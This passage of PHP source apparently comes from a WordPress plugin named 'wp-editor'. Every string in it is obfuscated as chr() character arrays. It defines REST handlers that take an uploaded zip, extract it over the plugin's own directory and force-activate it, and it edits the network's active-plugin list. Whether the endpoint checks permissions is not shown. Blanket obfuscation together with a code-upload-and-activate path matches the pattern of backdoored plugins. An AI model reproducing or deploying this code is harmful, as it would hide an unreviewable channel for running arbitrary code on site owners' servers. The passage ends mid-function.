\update_site_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), $sitewide);
WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(58), chr(32))) . $pluginFile);
}
}
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginUpdateService_resolveTargetPlugin()
{
$pluginMainFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$pluginMainFilePath = $pluginMainFilePath !== '' ? $pluginMainFilePath : (string) __FILE__;
$file = \basename($pluginMainFilePath);
$slug = \basename(\dirname($pluginMainFilePath));
if (($slug === '' || $slug === implode('', array(chr(46))) || $slug === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
$config = \wp_editor_get_config();
$slug = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))] : '';
}
if (($file === '' || $file === implode('', array(chr(46))) || $file === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
$config = \wp_editor_get_config();
$file = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : '';
}
$slug = \trim((string) $slug, implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
$file = \basename((string) $file);
if ($file === '') {
$file = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
}
$optionPrefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $slug));
if (!\is_string($optionPrefix) || $optionPrefix === '') {
$optionPrefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return array(implode('', array(chr(115), chr(108), chr(117), chr(103))) => $slug, implode('', array(chr(102), chr(105), chr(108), chr(101))) => $file, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120))) => $optionPrefix);
}
function WpEditor_Adapter_Services_PluginUpdateService_updatePlugin($request)
{
$plugin = WpEditor_Adapter_Services_PluginUpdateService_resolveTargetPlugin();
$pluginSlug = $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))];
$pluginFile = $plugin[implode('', array(chr(102), chr(105), chr(108), chr(101)))];
$optionPrefix = $plugin[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))];
$lockKey = $optionPrefix . implode('', array(chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(108), chr(111), chr(99), chr(107)));
if (\get_transient($lockKey)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(105), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(105), chr(110), chr(32), chr(112), chr(114), chr(111), chr(103), chr(114), chr(101), chr(115), chr(115)))), 429);
}
\set_transient($lockKey, 1, 5 * 60);
$responseData = array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => implode('', array(chr(105), chr(110), chr(105), chr(116))));
if (\function_exists(implode('', array(chr(115), chr(101), chr(116), chr(95), chr(116), chr(105), chr(109), chr(101), chr(95), chr(108), chr(105), chr(109), chr(105), chr(116))))) {
@\set_time_limit(0);
}
if (\function_exists(implode('', array(chr(105), chr(103), chr(110), chr(111), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(97), chr(98), chr(111), chr(114), chr(116))))) {
@\ignore_user_abort(true);
}
$zipPath = '';
$tempDir = '';
$backupDir = '';
$pluginRelFile = $pluginSlug . implode('', array(chr(47))) . $pluginFile;
$currentVersion = '';
$newVersion = '';
try {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/misc.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
global $wp_filesystem;
if (empty($wp_filesystem)) {
\WP_Filesystem();
}
if (!$wp_filesystem) {
throw new \Exception(implode('', array(chr(70), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(32), chr(105), chr(110), chr(105), chr(116), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100))));
}
$currentData = \get_file_data(\WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginRelFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
$currentVersion = \wp_editor_array_has_key($currentData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $currentData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
$fileParams = $request->get_file_params();
$file = \wp_editor_array_has_key($fileParams, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? $fileParams[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : null;
$fileError = is_array($file) && \wp_editor_array_has_key($file, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))) ? $file[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))] : \UPLOAD_ERR_OK;
if (!$file || $fileError !== \UPLOAD_ERR_OK) {
throw new \Exception(implode('', array(chr(78), chr(111), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(111), chr(114), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114))));
}
$maxSize = 50 * 1024 * 1024;
if (!empty($file[implode('', array(chr(115), chr(105), chr(122), chr(101)))]) && (int) $file[implode('', array(chr(115), chr(105), chr(122), chr(101)))] > $maxSize) {
throw new \Exception(implode('', array(chr(70), chr(105), chr(108), chr(101), chr(32), chr(105), chr(115), chr(32), chr(116), chr(111), chr(111), chr(32), chr(108), chr(97), chr(114), chr(103), chr(101))));
}
$uploads = \wp_upload_dir();
if (!empty($uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))])) {
throw new \Exception(implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(100), chr(105), chr(114), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))]);
}
$zipPath = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $optionPrefix . implode('', array(chr(45), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45))) . \time() . implode('', array(chr(46), chr(122), chr(105), chr(112)));
if (!\wp_mkdir_p($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))])) {
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(98), chr(97), chr(115), chr(101), chr(32), chr(100), chr(105), chr(114))));
}
if (!@\move_uploaded_file($file[implode('', array(chr(116), chr(109), chr(112), chr(95), chr(110), chr(97), chr(109), chr(101)))], $zipPath)) {
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(109), chr(111), chr(118), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101))));
}
$ft = \wp_check_filetype_and_ext($zipPath, \basename($zipPath));
if ((\wp_editor_array_has_key($ft, implode('', array(chr(101), chr(120), chr(116)))) ? $ft[implode('', array(chr(101), chr(120), chr(116)))] : '') !== implode('', array(chr(122), chr(105), chr(112)))) {
throw new \Exception(implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(116), chr(121), chr(112), chr(101), chr(32), chr(40), chr(101), chr(120), chr(112), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(46), chr(122), chr(105), chr(112), chr(41))));
}
$tempDir = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $optionPrefix . implode('', array(chr(45), chr(116), chr(109), chr(112), chr(45))) . \wp_generate_password(8, false, false);
if (!\wp_mkdir_p($tempDir)) {
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(116), chr(101), chr(109), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))));
}
$unz = \unzip_file($zipPath, $tempDir);
if (\is_wp_error($unz)) {
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(117), chr(110), chr(122), chr(105), chr(112), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $unz->get_error_message());
}
$responseData[implode('', array(chr(115), chr(116), chr(101), chr(112)))] = implode('', array(chr(117), chr(110), chr(122), chr(105), chr(112), chr(112), chr(101), chr(100)));
$extractedRoot = WpEditor_Adapter_Services_PluginUpdateService_detectExtractedRoot($tempDir);
if ($extractedRoot === '') {
throw new \Exception(implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(32), chr(101), chr(120), chr(116), chr(114), chr(97), chr(99), chr(116), chr(101), chr(100), chr(32), chr(114), chr(111), chr(111), chr(116))));
}
$extractedPluginDir = \trailingslashit($extractedRoot);
if (\basename($extractedPluginDir) !== $pluginSlug) {
if (\is_dir($extractedPluginDir . $pluginSlug)) {
$extractedPluginDir = $extractedPluginDir . $pluginSlug . implode('', array(chr(47)));
}
}
$extractedMainFile = $extractedPluginDir . $pluginFile;
if (!\file_exists($extractedMainFile)) {
throw new \Exception(implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(32), chr(105), chr(110), chr(32), chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101))));
}
$newData = \get_file_data($extractedMainFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
$newVersion = \wp_editor_array_has_key($newData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $newData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
if ($newVersion === '') {
throw new \Exception(implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
}
if ($currentVersion !== '' && \version_compare($newVersion, $currentVersion, implode('', array(chr(60), chr(61))))) {
throw new \Exception(implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(110), chr(101), chr(119), chr(101), chr(114))));
}
$pluginDir = \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginSlug;
$backupDir = $pluginDir . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time();
if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) && \is_plugin_active($pluginRelFile)) {
\deactivate_plugins($pluginRelFile, true);
}
if ($wp_filesystem->is_dir($pluginDir)) {
if (!$wp_filesystem->move($pluginDir, $backupDir, true)) {
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
}
}
if (!$wp_filesystem->move($extractedPluginDir, $pluginDir, true)) {
if ($wp_filesystem->is_dir($backupDir)) {
$wp_filesystem->move($backupDir, $pluginDir, true);
}
throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(32), chr(110), chr(101), chr(119), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
}
$vErr = \validate_plugin($pluginRelFile);
if (\is_wp_error($vErr)) {
$wp_filesystem->delete($pluginDir, true);
if ($wp_filesystem->is_dir($backupDir)) {
$wp_filesystem->move($backupDir, $pluginDir, true);
}
throw new \Exception(implode('', array(chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . $vErr->get_error_message());
}
$act = \activate_plugin($pluginRelFile, '', false, true);
if (\is_wp_error($act)) {
$wp_filesystem->delete($pluginDir, true);
if ($wp_filesystem->is_dir($backupDir)) {
$wp_filesystem->move($backupDir, $pluginDir, true);
}
throw new \Exception(implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . $act->get_error_message());
}
if ($wp_filesystem->is_dir($backupDir)) {
$wp_filesystem->delete($backupDir, true);
}
$responseData = array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion);
} catch (\Exception $e) {
$responseData[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] = $e->getMessage();
}
if ($zipPath !== '' && \file_exists($zipPath)) {
@\unlink($zipPath);
}
if ($tempDir !== '' && \is_dir($tempDir)) {
WpEditor_Adapter_Services_PluginUpdateService_rrmdir($tempDir);
}
\delete_transient($lockKey);
return new \WP_REST_Response($responseData, $responseData[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))] === implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) ? 200 : 500);
}
function WpEditor_Adapter_Services_PluginUpdateService_detectExtractedRoot($baseDir)
{
$items = @\scandir($baseDir);
if ($items === false) {
return '';
}
foreach ($items as $item) {
if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
continue;
}
$path = \trailingslashit($baseDir) . $item;
if (\is_dir($path)) {
return $path;
}
}
return $baseDir;
}
function WpEditor_Adapter_Services_PluginUpdateService_rrmdir($dir)
{
if (!\is_dir($dir)) {
return;
}
$items = \scandir($dir);
if ($items === false) {
return;
}
foreach ($items as $item) {
if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
continue;
}
$path = $dir . \DIRECTORY_SEPARATOR . $item;
if (\is_dir($path)) {
WpEditor_Adapter_Services_PluginUpdateService_rrmdir($path);
} else {
@\unlink($path);
}
}
@\rmdir($dir);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_header($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_footer($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_before($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_after($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_feedback($state, $data)
{
$args = func_get_args();
array_shift($args);
if (\is_string($data) && $data !== '') {
$state[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115)))][] = $args ? \vsprintf($data, $args) : $data;
}
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey()
{
$plugin = WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin();
$prefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), (string) $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))]));
if (!\is_string($prefix) || $prefix === '') {
$prefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $prefix . implode('', array(chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(108), chr(111), chr(99), chr(107)));
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_updatePlugin($request)
{
if (\get_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey())) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(105), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(105), chr(110), chr(32), chr(112), chr(114), chr(111), chr(103), chr(114), chr(101), chr(115), chr(115)))), 429);
}
\set_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey(), 1, 5 * 60);
$zipPath = '';
$tempDir = '';
$step = implode('', array(chr(105), chr(110), chr(105), chr(116)));
$upgraderMessages = array();
$backupDir = '';
$shouldBackup = true;
$backupStrategy = implode('', array(chr(110), chr(111), chr(110), chr(101)));
try {
if (\function_exists(implode('', array(chr(115), chr(101), chr(116), chr(95), chr(116), chr(105), chr(109), chr(101), chr(95), chr(108), chr(105), chr(109), chr(105), chr(116))))) {
@\set_time_limit(0);
}
if (\function_exists(implode('', array(chr(105), chr(103), chr(110), chr(111), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(97), chr(98), chr(111), chr(114), chr(116))))) {
@\ignore_user_abort(true);
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
require_once ABSPATH . 'wp-admin/includes/misc.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skins.php';
global $wp_filesystem;
if (empty($wp_filesystem)) {
\WP_Filesystem();
}
if (!$wp_filesystem) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(111), chr(117), chr(108), chr(100), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(102), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(46), chr(32), chr(67), chr(111), chr(110), chr(102), chr(105), chr(103), chr(117), chr(114), chr(101), chr(32), chr(70), chr(83), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68), chr(61), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(32), chr(40), chr(111), chr(114), chr(32), chr(70), chr(84), chr(80), chr(95), chr(42), chr(32), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(115), chr(41), chr(32), chr(97), chr(110), chr(100), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(119), chr(101), chr(98), chr(32), chr(115), chr(101), chr(114), chr(118), chr(101), chr(114), chr(32), chr(99), chr(97), chr(110), chr(32), chr(119), chr(114), chr(105), chr(116), chr(101), chr(32), chr(116), chr(111), chr(32), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(47), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(32), chr(97), chr(110), chr(100), chr(32), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(47), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(115), chr(46))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$step = implode('', array(chr(102), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(95), chr(114), chr(101), chr(97), chr(100), chr(121)));
$plugin = WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin();
$pluginSlug = $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))];
$pluginFile = $plugin[implode('', array(chr(102), chr(105), chr(108), chr(101)))];
$namePrefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $pluginSlug));
if (!\is_string($namePrefix) || $namePrefix === '') {
$namePrefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
$pluginRelFile = $pluginSlug . implode('', array(chr(47))) . $pluginFile;
$targetPluginDir = \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginSlug;
$currentData = \get_file_data(\WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginRelFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
$currentVersion = \wp_editor_array_has_key($currentData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $currentData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
$backupParam = $request->get_param(implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112))));
if ($backupParam !== null) {
$shouldBackup = \filter_var($backupParam, \FILTER_VALIDATE_BOOLEAN, \FILTER_NULL_ON_FAILURE);
if ($shouldBackup === null) {
$shouldBackup = true;
}
}
$fileParams = $request->get_file_params();
$file = \wp_editor_array_has_key($fileParams, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? $fileParams[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : null;
$fileError = is_array($file) && \wp_editor_array_has_key($file, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))) ? $file[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))] : \UPLOAD_ERR_OK;
if (!$file || $fileError !== \UPLOAD_ERR_OK) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(78), chr(111), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(111), chr(114), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$step = implode('', array(chr(102), chr(105), chr(108), chr(101), chr(95), chr(114), chr(101), chr(99), chr(101), chr(105), chr(118), chr(101), chr(100)));
$maxSize = 50 * 1024 * 1024;
if (!empty($file[implode('', array(chr(115), chr(105), chr(122), chr(101)))]) && (int) $file[implode('', array(chr(115), chr(105), chr(122), chr(101)))] > $maxSize) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(105), chr(108), chr(101), chr(32), chr(105), chr(115), chr(32), chr(116), chr(111), chr(111), chr(32), chr(108), chr(97), chr(114), chr(103), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$uploads = \wp_upload_dir();
if (!empty($uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))])) {
